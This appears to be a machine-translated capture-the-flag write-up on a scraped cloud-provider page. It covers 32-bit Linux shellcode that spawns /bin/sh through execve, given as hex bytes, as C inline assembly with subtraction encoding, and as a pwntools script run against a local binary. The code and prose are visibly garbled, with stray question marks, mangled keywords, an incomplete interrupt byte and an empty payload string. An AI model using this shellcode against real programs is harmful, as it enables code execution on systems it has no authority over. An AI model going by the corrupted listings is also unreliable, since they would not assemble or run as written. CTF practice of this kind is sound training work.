"Writeup" TSCTF Shellcode 300pt

Source: Internet
Author: User

The topic of the investigation is not simple, but as a shellcode to write the introduction is still meaningful.

Shellcode = ' '

# push '/bin///sh\x00 '

# 73

Shellcode + = H2B (' 6a ")???? # Push 0x68

Shellcode + = H2B (' 2f2f2f73 ')? # push 0X732F2F2F

Shellcode + = H2B (' 2f62696e ')? # push 0X6E69622F

# Call EXECVE (' ESP ', 0, 0)

Shellcode + = H2B (' 89e3 ')???? # mov ebx, esp

Shellcode + = H2B (' 31c9 ')???? # XOR exc, ECX

Shellcode + = H2B (' 6a 0b ')???? # Push 0xb (lost from 0x0b)

Shellcode + = H2B (' 58 ')????? # pop EAX

# Set edx to 0, eax are known to be positive

Shellcode + = H2B (' 99 ')????? # CDQ

Shellcode + = H2B (' CD ')???? # int 0x80

?

By the way the use of GDB, dynamic debugging and Python attach up the basic techniques of testing, as well as GCC and compiling, ASM usage.

?

#include <stdio.h>

int main () {

? __asm__

? ("Mov $0x31313331,%eax\n\t"

?" Sub $0x313132c9,%eax\n\t "

?" Push%eax\n\t "

?" MOV $0x31313331,%eax\n\t "

?" Sub $0x313132be,%eax\n\t "

?" Push%eax\n\t "

?" Push $0x2f2f2f\n\t "

?" Push $0x6e69622f\n\t "

?" MOV%esp,%ebx\n\t "

?" XOR%ecx,%ecx\n\t "

?" MOV $0x31313131,%eax\n\t "

?" Sub $0x31313126,%eax\n\t "

?" Push%eax\n\t "

?" Pop%eax\n\t "

?" Cdq\n\t "

?" int $0x80\n\t "

?);

? return 0;

}

Of course, I was also familiar with the simplest use of pwntools:

?

From PWN Import *

Import time

Context (arch= ' i386 ', os= ' Linux ')

?

#elf =elf ('./shellcode ')

#libc =elf (' libc.so ')

?

P=process ('./shellcode ')

#p =remote (' url ', port)

?

?

Time.sleep (30)

Print "..."

Time.sleep (30)

?

#given

def H2B (s):

? ? Return S.strip (). Replace (', '). Decode (' hex ')

Shellcode = ' '

Print Shellcode

P.sendline (Shellcode)

Raw_input (' Waiting for debug ... ')

"Writeup" TSCTF Shellcode 300pt

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.